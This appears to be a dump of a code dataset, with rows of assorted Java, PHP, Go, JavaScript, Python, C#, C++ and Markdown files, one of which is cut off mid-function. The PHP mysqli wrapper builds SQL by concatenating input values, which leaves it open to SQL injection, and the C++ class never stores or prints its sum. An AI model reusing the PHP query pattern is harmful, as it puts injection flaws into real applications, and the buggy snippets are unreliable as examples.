language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
Java
UTF-8
3,220
1.828125
2
[]
no_license
package com.cpone.platform.backoffice.service.impl; import com.cpone.platform.api.domain.view.StockDeliveryReturnMainView; import com.cpone.platform.api.domain.view.StockDeliveryReturnSummaryView; import com.cpone.platform.api.repository.stock.StockDeliveryMainReturnRepository; import com.cpone.platform.api.repository.stock.StockDeliveryReturnConfirmRepository; import com.cpone.platform.api.repository.stock.StockDeliveryReturnSummaryRepository; import com.cpone.platform.backoffice.dto.StockDeliveryReturnSearchDto; import com.cpone.platform.backoffice.service.StockDeliveryReturnConfirmService; import com.cpone.platform.backoffice.service.StockDeliveryReturnService; import com.cpone.platform.backoffice.spec.view.StockDeliveryReturnViewSpec; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.Pageable; import org.springframework.data.jpa.domain.Specifications; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.List; /** * Created by I^x on 3/21/2016. */ @Service @Transactional public class StockDeliveryReturnConfirmServiceImpl implements StockDeliveryReturnConfirmService { private static Logger LOG = LoggerFactory.getLogger(StockDeliveryReturnConfirmServiceImpl.class); @Autowired private StockDeliveryReturnConfirmRepository deliveryReturnConfirmRepository; @Override public StockDeliveryReturnMainView findStockBycampaignId(String campaignId) { return deliveryReturnConfirmRepository.findByCampaignId(campaignId); } // @Override // public Page<StockDeliveryReturnMainView> search(StockDeliveryReturnSearchDto searchDto, Pageable pageable) { // Specifications<StockDeliveryReturnMainView> spec = Specifications.where(null); // spec = spec.and(StockDeliveryReturnViewSpec.doNumber(searchDto.getDoNumber())) // .and(StockDeliveryReturnViewSpec.stockId(searchDto.getStockId())) // .and(StockDeliveryReturnViewSpec.stockNameLike(searchDto.getStockName())) // .and(StockDeliveryReturnViewSpec.storeNameLike(searchDto.getStoreName())) // .and(StockDeliveryReturnViewSpec.campaignId(searchDto.getCampaignId())) // .and(StockDeliveryReturnViewSpec.campaignNameLike(searchDto.getCampaignName())) // .and(StockDeliveryReturnViewSpec.qtyBetween(searchDto.getQtyStart(),searchDto.getQtyEnd())) // .and(StockDeliveryReturnViewSpec.companyNameLike(searchDto.getCompanyName())) // .and(StockDeliveryReturnViewSpec.actionDateBetween(searchDto.getActionDateStart(),searchDto.getActionDateEnd())); // return returnRepository.findAll(spec,pageable); // } // // @Override // public StockDeliveryReturnMainView findByDoNumber(String doNumber) { // return returnRepository.findBydoNumber(doNumber); // } // // @Override // public List<StockDeliveryReturnSummaryView> findSummaryByDoNumber(String doNumber) { // return summaryRepository.findBydoNumber(doNumber); // } }
Java
UTF-8
1,294
2.25
2
[]
no_license
package com.endeymus.planets.config; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Profile; import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; import org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseBuilder; import org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseType; import javax.sql.DataSource; /** * Конфигулационный класс для тестирования функицонала приложения * @author Mark Shamray */ @Configuration @ComponentScan(basePackages = {"com.endeymus.planets"}) @Profile("test") public class TestConfig { @Bean public DataSource dataSource() { EmbeddedDatabaseBuilder databaseBuilder = new EmbeddedDatabaseBuilder(); return databaseBuilder.setType(EmbeddedDatabaseType.H2) .addScripts("classpath:database/CreateDB.sql", "classpath:database/FillDB.sql").build(); } @Bean(name = "jdbcTemplateParam") public NamedParameterJdbcTemplate namedParameterJdbcTemplate() { return new NamedParameterJdbcTemplate(dataSource()); } }
PHP
UTF-8
9,146
2.953125
3
[ "Apache-2.0" ]
permissive
<?php /** * @author : Tshepo Tema * @created : 02 Nov 2015 * @description : mysqli database interface layer * */ include_once ("globals.php"); class DB { public $bConnected; //connection flag public $mysqli; public function __construct () { $this->mysqli = @new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); //check the database connection if (mysqli_connect_errno()) { //unable to connect to database $bConnected = false; exit(); } else { $bConnected = true; } } public function __destruct() { $this->mysqli->close(); } public function insertID() { return $this->mysqli->insert_id; } public function convertValuesToRefs($aArray){ if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+ { $refs = array(); foreach($aArray as $key => $value) $refs[$key] = &$aArray[$key]; return $refs; } return $aArray; } public function insertRows($sTable, $aValues, $aFields = "") { $SQL = "SHOW COLUMNS FROM ".$sTable; if ($rSTMT = $this->mysqli->prepare($SQL)) { $rSTMT->execute(); //execute the query //bind the results $rSTMT->bind_result($sField, $sType, $sNull, $sKey, $sDefault, $sExtra); //loop through the results $sFieldTypes = $sFieldMap = ""; while ($rSTMT->fetch()) { if (strpos($sType, "int") !== false) { $sTypeIndicator = "i"; } else if (strpos($sType, "double") !== false) { $sTypeIndicator = "d"; } else if (strpos($sType, "blob") !== false) { $sTypeIndicator = "b"; } else { $sTypeIndicator = "s"; } $sFieldTypes .= $sTypeIndicator; $sFieldMap .= "?"; } $sFieldTypes = substr($sFieldTypes, 1); $sFieldMap = substr($sFieldMap, 1); $sFieldMap = str_replace("?", "?, ", $sFieldMap); $sFieldMap = rtrim($sFieldMap, ", "); //sql to insert a new record $rSTMT = $this->mysqli->prepare("INSERT INTO ".$sTable." VALUES (NULL, $sFieldMap);"); foreach ($aValues as $value) { $aPar[] = ""; } //set and bind the parameters $aReference = array_merge((array)$sFieldTypes, $aValues); call_user_func_array(array($rSTMT, "bind_param"), $this->convertValuesToRefs($aReference)); //execute the prepared statement $rSTMT->execute(); } else { echo "Failed to prepare: ".$SQL; } } public function updateRows($sTable, $aFields, $aValues, $sFilterField, $sFilterValue, $sFilterType = "=", $sExtraSQL = "") { $SQL = "SHOW COLUMNS FROM ".$sTable; if ($rSTMT = $this->mysqli->prepare($SQL)) { $rSTMT->execute(); //execute the query //bind the results $rSTMT->bind_result($sField, $sType, $sNull, $sKey, $sDefault, $sExtra); //loop through the results $sFieldTypes = $sFieldMap = ""; while ($rSTMT->fetch()) { if (!in_array($sField, $aFields)) continue; if (strpos($sType, "int") !== false) { $sTypeIndicator = "i"; } else if (strpos($sType, "double") !== false) { $sTypeIndicator = "d"; } else if (strpos($sType, "blob") !== false) { $sTypeIndicator = "b"; } else { $sTypeIndicator = "s"; } $sFieldTypes .= $sTypeIndicator; $sFieldMap .= "?"; $aUpdateFields[$sField]['type'] = $sTypeIndicator; } $iCounter = 0; $sUpdates = ""; foreach ($aFields as $sField) { $sUpdates .= " ".$aFields[$iCounter]." = ?,"; $iCounter++; } $sUpdates = rtrim($sUpdates, ","); $sExtraSQL = (!empty($sExtraSQL)) ? " ".$sExtraSQL: ""; $sFilterType = (empty($sFilterType)) ? "=": $sFilterType; $sCondition = $sFilterField." ".$sFilterType." ".$sFilterValue; if (!empty($sUpdates) && !empty($sFilterField) && !empty($sFilterValue)) { $SQL = "UPDATE ".$sTable." SET ".$sUpdates." WHERE ".$sCondition."".$sExtraSQL; if ($rSTMT = $this->mysqli->prepare($SQL)) { $aReference = array_merge((array)$sFieldTypes, $aValues); call_user_func_array(array($rSTMT, "bind_param"), $this->convertValuesToRefs($aReference)); $rSTMT->execute(); } else { echo "Failed to prepare: ".$SQL; } } else { echo "Invalid update request: Field = ".$sFilterField." :: Value = ".$sFilterValue." :: updates = ".$sUpdates; } } else { echo "Failed to prepare: ".$SQL; } } public function getFieldValue($sTable, $sField, $sID, $sIDvalue) { $SQL = "SELECT ".$sField." FROM ".$sTable." WHERE ".$sID." = '".$sIDvalue."' LIMIT 1"; if ($rSTMT = $this->mysqli->prepare($SQL)) { //execute the query $rSTMT->execute(); //bind the results $rSTMT->bind_result($sFieldValue); $rSTMT->fetch(); //get the results return $sFieldValue; } else { echo "Failed to prepare: ".$SQL; } } public function getCount($sTable, $sID, $sField, $sValue, $sExtraSQL = "") { $SQL = "SELECT COUNT(".$sID.") FROM ".$sTable." WHERE ".$sField." = '".$sValue."'".$sExtraSQL; if ($rSTMT = $this->mysqli->prepare($SQL)) { //execute the query $rSTMT->execute(); //bind the results $rSTMT->bind_result($sFieldValue); $rSTMT->fetch(); //get the results return $sFieldValue; } else { echo "Failed to prepare: ".$SQL; } } public function retrieveRows($sTable, $sFields, $sConditionField, $sConditionValue, $sConditionType = "=", $sExtraSQL = "") { $sCondition = ""; if (!empty($sConditionField) && !empty($sConditionValue)) { $sCondition = " WHERE ".$sConditionField." ".$sConditionType." ".$sConditionValue; } if (empty($sFields)) { $SQL = "SHOW COLUMNS FROM ".$sTable; if ($rSTMT = $this->mysqli->prepare($SQL)) { $rSTMT->execute(); //execute the query //bind the results $rSTMT->bind_result($sField, $sType, $sNull, $sKey, $sDefault, $sExtra); //loop through the results $sFieldTypes = $sFieldMap = ""; while ($rSTMT->fetch()) { $sFields .= $sField.","; } $sFields = rtrim($sFields, ","); } else { echo "Failed to prepare: ".$SQL; } } $SQL = "SELECT ".$sFields." FROM ".$sTable.$sCondition.$sExtraSQL; if ($rSTMT = $this->mysqli->prepare($SQL)) { //execute the query $rSTMT->execute(); if($rSTMT instanceof mysqli_stmt) { $rSTMT->store_result(); $variables = array(); $data = array(); $meta = $rSTMT->result_metadata(); while($field = $meta->fetch_field()) $variables[] = &$data[$field->name]; // pass by reference } //bind the results call_user_func_array(array($rSTMT, "bind_result"), $variables); $i = 0; while ($rSTMT->fetch()) { $array[$i] = array(); foreach ($data as $k=>$v) $array[$i][$k] = $v; $i++; $aResults = $array; } return $aResults; } else { echo "Failed to prepare: ".$SQL; } } public function query($SQL, $debug = false) { $SQL = trim($SQL); if ($debug) { print 'Query: <br />'; print $SQL; print '<br />'; } $rQuery = $this->mysqli->query($SQL); if (stripos(substr($SQL, 0, 8), "select ") !== false) { $aResults = array(); while ($aRow = $rQuery->fetch_assoc()) { $aResults[] = $aRow; } return $aResults; } else { if ($this->mysqli->errno) return $this->mysqli->error; else return true; } } } ?>
Go
UTF-8
551
2.765625
3
[]
no_license
package main // Route represents an HTTP router with info and the actual request handler type Route struct { Name string Method string Pattern string HandlerFunc HandlerFunc } // Routes holds the http routers defined in this service type Routes []Route var routes = Routes{ // main endpoints Route{"SearchServices", "GET", "/services/{group}", SearchServicesHandler}, Route{"ListServices", "GET", "/services", ListServicesHandler}, // service health check endpoint Route{"Health", "GET", "/health", HealthCheckHandler}, }
JavaScript
UTF-8
1,987
2.59375
3
[]
no_license
import api from '../api/index'; import * as type from '../actions/types'; const initialState = { likesCount: { likeCount: 0, unlikeCount: 0 }, data: [] }; const likesCount = (state = initialState.likesCount, action) => { switch (action.type) { case type.LIKE: { const likes = { likeCount: !action.payload.like ? state.likeCount + 1 : state.likeCount - 1, unlikeCount: action.payload.unlike ? state.unlikeCount - 1 : state.unlikeCount }; return likes; } case type.UNLIKE: { const unlikes = { unlikeCount: !action.payload.unlike ? state.unlikeCount + 1 : state.unlikeCount - 1, likeCount: action.payload.like ? state.likeCount - 1 : state.likeCount }; return unlikes; } case type.SEARCH: { return { likeCount: 0, unlikeCount: 0 }; } default: return state; } }; const dataMovies = (state = initialState.data, action) => { switch (action.type) { case type.LOAD_MOVIES: { return action.payload.dataMovies; } case type.LIKE: { // console.log(state); const newState = state.map(movie => { if (movie.imdbID !== action.payload.id) { return movie; } return { ...movie, like: !movie.like, unlike: !movie.like ? false : movie.unlike }; }); return newState; } case type.UNLIKE: { const newState = state.map(movie => { if (movie.imdbID !== action.payload.id) { return movie; } // console.log(movie); return { ...movie, like: !movie.unlike ? false : movie.like, unlike: !movie.unlike }; }); return newState; } case type.SEARCH: { return action.payload.dataMovies; } default: return state; } }; // export default likes; export { dataMovies, likesCount };
JavaScript
UTF-8
1,900
2.8125
3
[]
no_license
/** * The class Observable. */ class Observable { /** * @param o */ addObserver(o) { if (o == null) { return; } if (o.update == null) { return; } if (this._observers == null) { this._observers = []; } if (this._hasObserver(o) == false) { this._observers.push(o); } } /** * @private * @param o */ _hasObserver(o) { return (this._observers.indexOf(0) !== -1); } /** * @private */ _clearChanged() { this._changed = false; } /** * @function */ countObservers() { return this._observers.length; } /** * @param o */ deleteObserver(o) { let where = this._observers.indexOf(o); if (where !== -1) { this._observers.splice(where, 1); } return this._observers; } /** * @function */ deleteObservers() { this._observers = []; } /** * Returns true if has changed. * @param o * @return {Object} boolean */ hasChanged(o) { return this._changed; } /** * @param o */ notifyObservers(o) { if (this._changed) { this._notifyObservers(o); } } /** * @private * @param o */ _notifyObservers(o) { o._notifier = this; if (this._observers == null) { this._observers = []; } let i = 0; let observer = null; for (i = 0; i < this._observers.length; i++) { observer = this._observers[i]; if (observer.enable_updates == true) { if (observer.update) { observer.update(o); } } } this._clearChanged(); } /** * @function */ setChanged() { this._changed = true; } /** * @function */ suspendUpdates() { this.enable_updates = false; } /** * @function */ resumeUpdates() { this.enable_updates = true; } /** * @param o */ update(o) {} } export default Observable;
Python
UTF-8
344
2.796875
3
[]
no_license
def arrays_38_Longest(list = []): list = sorted(list) co = 0 Max = 0 for i in range(0,len(list)-1): if list[i+1]-list[i]==1: co+=1 else: if Max<co+1: Max = co+1 co = 0 print(Max) if __name__=='__main__': list = eval(input()) arrays_38_Longest(list)
C#
UTF-8
5,701
2.578125
3
[]
no_license
using System; using System.IO; using System.Linq; using Microsoft.ML; namespace IssueClarificationML { class Program { private static string _appPath => Path.GetDirectoryName(Environment.GetCommandLineArgs()[0]); private static string _trainDataPath => Path.Combine(_appPath, "..", "..", "..", "Data", "issues_train.tsv"); private static string _testDataPath => Path.Combine(_appPath, "..", "..", "..", "Data", "issues_test.tsv"); private static string _modelPath => Path.Combine(_appPath, "..", "..", "..", "Models", "model.zip"); private static MLContext _mlContext; private static PredictionEngine<GitHubIssue, IssuePrediction> _predEngine; private static ITransformer _trainedModel; static IDataView _trainingDataView; static void Main(string[] args) { Console.WriteLine("hi0"); _mlContext = new MLContext(seed: 0); Console.WriteLine("hi1"); _trainingDataView = _mlContext.Data.LoadFromTextFile<GitHubIssue>(_trainDataPath, hasHeader: true); Console.WriteLine("hi2"); var pipeline = ProcessData(); Console.WriteLine("hi3"); var trainingPipeline = BuildAndTrainModel(_trainingDataView, pipeline); Console.WriteLine("hi4"); Evaluate(_trainingDataView.Schema); Console.WriteLine("hi5"); PredictIssue(); Console.WriteLine("hi6"); } public static IEstimator<ITransformer> BuildAndTrainModel(IDataView trainingDataView, IEstimator<ITransformer> pipeline) { Console.WriteLine("hello0"); var trainingPipeline = pipeline.Append(_mlContext.MulticlassClassification.Trainers.SdcaMaximumEntropy("Label", "Features")) .Append(_mlContext.Transforms.Conversion.MapKeyToValue("PredictedLabel")); Console.WriteLine("hello1"); _trainedModel = trainingPipeline.Fit(trainingDataView); Console.WriteLine("hello2"); _predEngine = _mlContext.Model.CreatePredictionEngine<GitHubIssue, IssuePrediction>(_trainedModel); Console.WriteLine("hello3"); GitHubIssue issue = new GitHubIssue() { Title = "WebSockets communication is slow in my machine", Description = "The WebSockets communication used under the covers by SignalR looks like is going slow in my development machine.." }; Console.WriteLine("hello04"); var prediction = _predEngine.Predict(issue); Console.WriteLine("hello5"); Console.WriteLine($"=============== Single Prediction just-trained-model - Result: {prediction.Area} ==============="); Console.WriteLine("hello6"); return trainingPipeline; } public static void Evaluate(DataViewSchema trainingDataViewSchema) { var testDataView = _mlContext.Data.LoadFromTextFile<GitHubIssue>(_testDataPath, hasHeader: true); var testMetrics = _mlContext.MulticlassClassification.Evaluate(_trainedModel.Transform(testDataView)); Console.WriteLine($"*************************************************************************************************************"); Console.WriteLine($"* Metrics for Multi-class Classification model - Test Data "); Console.WriteLine($"*------------------------------------------------------------------------------------------------------------"); Console.WriteLine($"* MicroAccuracy: {testMetrics.MicroAccuracy:0.###}"); Console.WriteLine($"* MacroAccuracy: {testMetrics.MacroAccuracy:0.###}"); Console.WriteLine($"* LogLoss: {testMetrics.LogLoss:#.###}"); Console.WriteLine($"* LogLossReduction: {testMetrics.LogLossReduction:#.###}"); Console.WriteLine($"*************************************************************************************************************"); SaveModelAsFile(_mlContext, trainingDataViewSchema, _trainedModel); } private static void SaveModelAsFile(MLContext mlContext, DataViewSchema trainingDataViewSchema, ITransformer model) { mlContext.Model.Save(model, trainingDataViewSchema, _modelPath); } private static void PredictIssue() { ITransformer loadedModel = _mlContext.Model.Load(_modelPath, out var modelInputSchema); GitHubIssue singleIssue = new GitHubIssue() { Title = "Entity Framework crashes", Description = "When connecting to the database, EF is crashing" }; _predEngine = _mlContext.Model.CreatePredictionEngine<GitHubIssue, IssuePrediction>(loadedModel); var prediction = _predEngine.Predict(singleIssue); Console.WriteLine($"=============== Single Prediction - Result: {prediction.Area} ==============="); } public static IEstimator<ITransformer> ProcessData() { var pipeline = _mlContext.Transforms.Conversion.MapValueToKey(inputColumnName: "Area", outputColumnName: "Label") .Append(_mlContext.Transforms.Text.FeaturizeText(inputColumnName: "Title", outputColumnName: "TitleFeaturized")) .Append(_mlContext.Transforms.Text.FeaturizeText(inputColumnName: "Description", outputColumnName: "DescriptionFeaturized")) .Append(_mlContext.Transforms.Concatenate("Features", "TitleFeaturized", "DescriptionFeaturized")) .AppendCacheCheckpoint(_mlContext); return pipeline; } } }
Python
UTF-8
1,025
3.15625
3
[]
no_license
# Этот код рисует для вашей черепахи лабиринт. # Не трогайте его ни в коем случае! import turtle as t t.shape('turtle') t.up() t.speed(100) t.left(180) t.forward(200) t.right(90) t.forward(100) t.down() t.right(90) t.forward(200) t.right(90) t.forward(200) t.right(90) t.forward(80) t.up() t.forward(40) t.down() t.forward(80) t.right(90) t.forward(200) t.right(90) t.up() t.forward(40) t.right(90) t.forward(40) t.down() t.forward(120) t.left(90) t.forward(120) t.left(90) t.forward(120) t.left(90) t.forward(40) t.up() t.forward(40) t.down() t.forward(40) t.up() t.left(90) t.forward(40) t.left(90) t.forward(40) t.down() t.forward(40) t.right(90) t.forward(40) t.right(90) t.up() t.forward(40) t.down() t.right(90) t.forward(40) t.up() t.right(90) t.forward(20) t.right(90) t.forward(20) t.down() t.color('red') t.speed(10) t.right(35) t.forward(70) t.right(155) t.forward(155) t.left(135) t.forward(100) t.left(75) t.forward(110) t.left(30) t.forward(100)
Markdown
UTF-8
1,041
2.703125
3
[ "MIT" ]
permissive
# India-Covid-Vaccine-Notifier A Python-Django based web application that finds the available vaccine slots in real-time from Govt.'s [CoWin website](https://www.cowin.gov.in/home) with auto-refresh functionality to capture slots in every time interval and notifies with a notification sound. ![](stuff/appDemo.gif) ## Pre-Requisites [Python3 with pip3 installation](https://www.python.org/downloads/) ## Usage * Clone the repository: ``` $ git clone https://github.com/akshattrivedi/India-Covid-Vaccine-Notifier ``` <br> * Install all the depedent packages: ``` $ pip3 install -r requirements.txt ``` <br> * Run the Django web server: For Windows: ``` $ python manage.py runserver ``` For Linux: ``` $ python3 manage.py runserver ``` * Hit the web server and you're done: http://localhost:8000 ## PostScript Sorry for the bad UI. I am a backend developer. I tried my best to develop this kind of UI. :sweat_smile: Would appreciate it if someone contributes towards UI. Thanks! :blush:
Go
UTF-8
999
3.046875
3
[]
no_license
package chapter1 import ( "reflect" "testing" ) func Test_zeroMatrix(t *testing.T) { tests := []struct { name string m [][]int want [][]int }{ { name: "2x2", m: [][]int{ {1, 0}, {1, 1}, }, want: [][]int{ {0, 0}, {1, 0}, }, }, { name: "3x3", m: [][]int{ {1, 1, 0}, {1, 1, 1}, {1, 1, 1}, }, want: [][]int{ {0, 0, 0}, {1, 1, 0}, {1, 1, 0}, }, }, { name: "3x4", m: [][]int{ {1, 1, 0, 0}, {1, 1, 1, 0}, {1, 1, 1, 0}, }, want: [][]int{ {0, 0, 0, 0}, {0, 0, 0, 0}, {0, 0, 0, 0}, }, }, { name: "3x4", m: [][]int{ {0, 1, 1, 1}, {1, 1, 1, 1}, {1, 1, 1, 1}, }, want: [][]int{ {0, 0, 0, 0}, {0, 1, 1, 1}, {0, 1, 1, 1}, }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := zeroMatrix(tt.m); !reflect.DeepEqual(got, tt.want) { t.Errorf("zeroMatrix() = %v, want %v", got, tt.want) } }) } }
Java
UTF-8
2,843
2.4375
2
[]
no_license
package ua.nure.kn156.khorshunova.db; import java.util.Collection; import java.util.Date; import org.dbunit.DatabaseTestCase; import org.dbunit.database.DatabaseConnection; import org.dbunit.database.IDatabaseConnection; import org.dbunit.dataset.IDataSet; import org.dbunit.dataset.xml.XmlDataSet; import ua.nure.kn156.khorshunova.User; public class HsqlDBUserDaoTest extends DatabaseTestCase { HsqldbUserDao dao; private static final Long ID=1000L; private ConnectionFactory connectionFactory; @Override protected void setUp() throws Exception { // TODO Auto-generated method stub super.setUp(); dao=new HsqldbUserDao(connectionFactory); } public void testCreate(){ User user=new User(); user.setFirstName("John"); user.setLastName("Doe"); user.setDate(new Date()); assertNull(user.getId()); User createdUser; try { createdUser = dao.create(user); assertNotNull(createdUser); assertNotNull(createdUser.getId()); assertEquals(user.getFullName(),createdUser.getFullName()); assertEquals(user.getAge(), createdUser.getAge()); } catch (DataBaseException e) { fail(e.toString()); } } public void testFindId(){ try { User user=dao.find(ID); assertNotNull("User is null", user); assertEquals(ID, user.getId()); } catch (DataBaseException e) { fail(e.toString()); } } public void testUpdate(){ try { User user=dao.find(ID); user.setFirstName("Michael"); dao.update(user); User updateUser=dao.find(ID); assertNotNull("User is null", updateUser); assertEquals(user.getFirstName(),updateUser.getFirstName()); assertEquals(user.getLastName(),updateUser.getLastName()); assertEquals(user.getAge(),updateUser.getAge()); } catch (DataBaseException e) { fail(e.toString()); } } public void testDelete(){ try { User user=dao.find(ID); assertNotNull(user); dao.delete(user); User deleteUser=dao.find(ID); assertNull(deleteUser); } catch (DataBaseException e) { fail(e.toString()); } } public void testFindAll(){ try { Collection<User> collection=dao.findAll(); assertNotNull("Collection is null", collection); assertEquals("Collection size.", 2, collection.size()); } catch (DataBaseException e) { e.printStackTrace(); fail(e.toString()); } } @Override protected IDatabaseConnection getConnection() throws Exception { connectionFactory=new ConnectionFactoryImpl( "org.hsqldb.jdbcDriver", "jdbc:hsqldb:file:db/usermanagement", "sa", ""); return new DatabaseConnection(connectionFactory.createConnection()); } @Override protected IDataSet getDataSet() throws Exception { IDataSet dataSet=new XmlDataSet(getClass().getClassLoader().getResourceAsStream("usersDataSet.xml")); return dataSet; } }
C++
UTF-8
431
3.4375
3
[]
no_license
#include<iostream> #include<cmath> using namespace std; class distance { int d1,d2; public: void get(); void add(); void show(); }; void distance::get() { cout<<"d="; cin>>d1; cout<<"d2="; cin>>d2; } void distance::add() { int sum=d1+d2; } void distance::show() { cout<<"Sum of distances = "; } int main() { distance d1,d2; d1,d2.get(); d1,d2.add(); d1,d2.show(); return 0; }
Java
UTF-8
1,718
3.84375
4
[]
no_license
package interfaces; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.function.BinaryOperator; public class BinaryComputingIterator implements Iterator<Double> { // Instance variables private Iterator<Double> it1, it2; private Double default1, default2; private BinaryOperator<Double> operator; // Constructors public BinaryComputingIterator(Iterator<Double> it1, Iterator<Double> it2, BinaryOperator<Double> operator) { this.it1 = it1; this.it2 = it2; this.operator = operator; } public BinaryComputingIterator(Iterator<Double> it1, Iterator<Double> it2, Double default1, Double default2, BinaryOperator<Double> operator) { this.it1 = it1; this.it2 = it2; this.default1 = default1; this.default2 = default2; this.operator = operator; } // Returns true if either iterator has a next value @Override public boolean hasNext() { if (!it1.hasNext() && !it2.hasNext()) return false; // If no default value is assigned, // both iterators are required to have a next value if ((it1.hasNext() || default1 != null) && (it2.hasNext() || default2 != null)) return true; return false; } // Performs operation on the next iterator values @Override public Double next() throws NoSuchElementException { // Break if iterator is exhausted if (!hasNext()) throw new NoSuchElementException("Iterator is exhausted."); // Set up values for each iterator Double val1 = (it1.hasNext()) ? it1.next() : default1; Double val2 = (it2.hasNext()) ? it2.next() : default2; // Use binary operator to generate return value return operator.apply(val1, val2); } }
C#
UTF-8
1,235
2.671875
3
[ "Apache-2.0" ]
permissive
using System; using System.Collections.Generic; using Newtonsoft.Json; using PushNotifications.Contracts; namespace PushNotifications.Delivery.Pushy.Models { public class PushyTopicSubscriptionModel { public PushyTopicSubscriptionModel(string token, Topic topic) { if (string.IsNullOrEmpty(token)) throw new ArgumentException(nameof(token)); if (ReferenceEquals(null, topic)) throw new ArgumentException(nameof(topic)); Token = token; Topics = new List<string>() { topic }; } public PushyTopicSubscriptionModel(string token, IEnumerable<Topic> topics) { if (string.IsNullOrEmpty(token)) throw new ArgumentException(nameof(token)); if (ReferenceEquals(null, topics)) throw new ArgumentException(nameof(topics)); Token = token; Topics = new List<string>(); foreach (Topic topic in topics) { Topics.Add(topic); } } [JsonProperty(PropertyName = "token")] public string Token { get; private set; } [JsonProperty(PropertyName = "topics")] public List<string> Topics { get; private set; } } }
Markdown
UTF-8
768
2.59375
3
[ "MIT" ]
permissive
--- path: /press-item/online-agile-course-targets-gov-execs type: press title: 'CivicActions’ Elizabeth Raley in StateScoop: ‘Free Online Agile Development Course Targets Government Executives’' date: "2017-03-08" link_text: "StateScoop: Free Online Agile Development Course Targets Government Executives" website: "https://statescoop.com/free-online-agile-development-course-targets-government-executives" publication: "StateScoop" --- CivicActions’ Director of Professional Services [Elizabeth Raley](https://civicactions.com/team/elizabeth-raley) was interviewed about her work with [Agile Government Leadership](https://www.agilegovleaders.org/) to launch an online training tailored for government executives who want to bring agile practices to their agencies.
PHP
UTF-8
2,520
2.515625
3
[]
no_license
<?php /** * Created by PhpStorm. * User: pc * Date: 11/12/2017 * Time: 15:28 */ namespace DL\BackofficeBundle \Entity; use Doctrine\ORM\Mapping as ORM; /** * @ORM\Entity * @ORM\Table(name="challenge") */ class Challenge { /** * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") */ private $id; /** * @ORM\Column(type="datetime") */ private $datedebut; /** * @ORM\Column(type="string") */ private $videolink; /** * @ORM\Column(type="datetime") */ private $datefin; /** * @ORM\Column(type="string") */ private $nom; /** * @ORM\Column(type="string") */ private $description; /** * @ORM\Column(type="blob") */ private $logo; /** * @return mixed */ public function getId() { return $this->id; } /** * @param mixed $id */ public function setId($id) { $this->id = $id; } /** * @return mixed */ public function getDatedebut() { return $this->datedebut; } /** * @param mixed $datedebut */ public function setDatedebut($datedebut) { $this->datedebut = $datedebut; } /** * @return mixed */ public function getDatefin() { return $this->datefin; } /** * @param mixed $datefin */ public function setDatefin($datefin) { $this->datefin = $datefin; } /** * @return mixed */ public function getNom() { return $this->nom; } /** * @param mixed $nom */ public function setNom($nom) { $this->nom = $nom; } /** * @return mixed */ public function getDescription() { return $this->description; } /** * @param mixed $description */ public function setDescription($description) { $this->description = $description; } /** * @return mixed */ public function getLogo() { return $this->logo; } /** * @param mixed $logo */ public function setLogo($logo) { $this->logo = $logo; } /** * @return mixed */ public function getVideolink() { return $this->videolink; } /** * @param mixed $videolink */ public function setVideolink($videolink) { $this->videolink = $videolink; } }
JavaScript
UTF-8
8,385
3.28125
3
[]
no_license
//@author Македон Егор Александрович //@group 521702 //@year 2018 //@subject ЛОИС //@title Лабораторная работа N1-2 /*@task B3. B: Проверить является ли строка формулой логики высказываний. 3: Проверить является ли формула невыполнимой (противоречивой).*/ //Включение строгого стандарта написания js скриптов "use strict"; //Опредеоение константных перепенных const FORMULA_ID = "formula"; const ANSWER_1_ID = "answer1"; const VALID_FORMULA = "Введенная строка является формулой логики высказываний"; const NOT_VALID_FORMULA = "Введенная строка не является формулой логики высказываний"; const FORMULA_REGEXP = new RegExp('([(]([A-Z]|[0-1])((->)|(&)|(\\|)|(~))([A-Z]|[0-1])[)])|([(][!]([A-Z]|[0-1])[)])|([A-Z])|([0-1])','g'); const CONTAINER_ID = "container"; const FORMULA_LABEL_ID = "formulaLabel"; const TABLE_ID = "table"; const ANSWER_2_ID = "answer2"; const FORMULA_PROTIVORECHIVAYA = "Формула является противоречивой"; const FORMULA_NON_PROTIVORECHIVAYA = "Формула не является противоречивой"; const R = "R"; const NEGATION = "!"; const CONJUNCTION = "&"; const DISJUNCTION = "|"; const IMPLICATION = "->"; const EQUIVALENCE = "~"; //Переменные, используемые для расчета таблицы истинности let countAnswer = 0; let n = 1; //Стартовая фунция запуска скрипта function run() { let formula = document.getElementById(FORMULA_ID).value; if (!validateFormula(formula)) { printAnswer(NOT_VALID_FORMULA); document.getElementById(CONTAINER_ID).hidden = true; return; } printAnswer(VALID_FORMULA); document.getElementById(CONTAINER_ID).hidden = false; document.getElementById(FORMULA_LABEL_ID).innerHTML = formula; let obj = calculateTableTruth(formula); let answer2 = document.getElementById(ANSWER_2_ID); if (countAnswer == n) { answer2.innerHTML = FORMULA_PROTIVORECHIVAYA; } else { answer2.innerHTML = FORMULA_NON_PROTIVORECHIVAYA; } if (obj != null) { printTableTruth(obj.table, obj.symbolSize); } } //Функция печати ответа в элемент answer на html документе function printAnswer(answer) { let answerElement = document.getElementById(ANSWER_1_ID); answerElement.innerHTML = answer; } //Функция валидации входящей строки function validateFormula(formula) { let t; do { t = formula; formula = formula.replace(FORMULA_REGEXP, R); } while (formula != t); return formula == R; } //@author Artem Trushkov //Функция рассчитывания таблицы истинности function calculateTableTruth(formula) { countAnswer = 0; n = 1; if(formula == '0') { countAnswer = 1; return null; } if(formula == '1') { return null; } let answer = formula; let symbolInFormula = calculateFormulaSymbols(formula).sort(); let sizeSymbolInFormula = symbolInFormula.length; n = Math.pow(2, sizeSymbolInFormula); let table = {}; for (let index = 0; index < n; index++) { 